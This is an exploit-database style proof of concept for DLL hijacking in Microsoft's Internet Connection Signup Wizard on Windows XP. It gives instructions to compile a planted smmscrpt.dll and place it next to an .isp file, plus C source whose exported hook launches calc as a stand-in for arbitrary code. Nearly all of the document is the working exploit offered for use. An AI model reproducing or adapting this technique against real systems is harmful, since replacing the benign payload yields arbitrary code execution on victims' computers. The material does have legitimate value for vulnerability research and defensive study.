Microsoft Internet Connection Signup Wizard - 'smmscrpt.dll' DLL Hijacking

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/* 
Exploit Title: Microsoft Internet Connection Signup Wizard DLL Hijacking
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 
Vulnerable extensions: .isp

Compile and rename to smmscrpt.dll, create a file in the same dir with one of the following extensions:
.isp


#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}